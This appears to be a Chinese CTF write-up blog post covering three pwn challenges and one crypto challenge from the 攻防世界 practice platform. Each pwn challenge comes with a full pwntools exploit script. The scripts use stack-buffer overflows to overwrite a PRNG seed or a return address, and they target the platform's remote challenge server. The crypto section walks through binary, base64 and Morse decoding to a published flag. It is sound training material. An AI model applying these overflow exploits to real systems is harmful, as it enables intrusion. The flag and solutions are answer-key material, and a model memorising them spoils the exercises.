攻防世界wp

Pwn

dice_game

拿到题目先查看下保护

再运行下程序,可以看出是一个猜数字的游戏

用ida打开,猜对50次即可得到flag

read函数存在栈溢出,覆盖seed随机数种子为0或1,srand构造伪随机数,get flag

exp:

#!/usr/bin/python
# -*- coding:utf-8 -*-

from pwn import *
from ctypes import *
p=remote('111.198.29.45','36448')
libc = cdll.LoadLibrary("libc.so.6")
p.recv()
payload=0x40*"a"+p64(0)
p.sendline(payload)

a=[]
for i in range(50):
    a.append(libc.rand()%6+1)
print(a)
for i in a:
    p.recv()
    print(p.recv())
    p.sendline(str(i))
p.interactive()

warmup

一道简单的栈溢出

没有开任何保护

sub_40060D这个函数可以查看flag

通过栈溢出覆盖返回地址到sub_40060D

exp:

#!/usr/bin/python
# -*- coding:utf-8 -*-

from pwn import *
io = remote('111.198.29.45', 58345)
sys_addr = 0x40060d
io.recv()
io.send('a'*(0x40+8)+p64(sys_addr))
io.interactive()

forgot

也是一道简单的栈溢出,和上题差不多

直接附程序和exp

exp:

#!/usr/bin/python
# -*- coding:utf-8 -*-

from pwn import *
io = remote('111.198.29.45',46530)
sys_addr = 0x080486CC
io.recv()
io.sendline('iyou')
io.recv()
io.sendline('a'*(0x20+4) + p32(sys_addr))
io.interactive()

Crypto

enc

题目是由 ZERO 和 ONE 组成的二进制编码,如下:
enc1

0x00

首先将 ZERO 和 ONE 替换成 0 和 1,再转成字符串

得到 Li0gLi0uLiAuIC0uLi0gLS4tLiAtIC4uLS4gLSAuLi4uIC4tLS0tIC4uLi4uIC0tLSAuLS0tLSAuLi4gLS0tIC4uLi4uIC4uLSAuLS0uIC4uLi0tIC4tLiAtLS0gLi4uLi4gLiAtLi0uIC4tLiAuLi4tLSAtIC0tLSAtIC0uLi0gLQ==

0x01

由此可以看出这是base64编码,我们用工具decode
enc2

0x02

得到摩丝密码,再decode
enc3
0x03

得到结果:alexctfth15o1so5up3ro5ecr3totxt

提交说答案不正确,换成大写还是不成功

因为摩丝密码不能处理特殊字符,需要自己手动添加

ALEXCTF{TH15_1S_5UP3R_5ECR3T_TXT}


# CTF  


本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!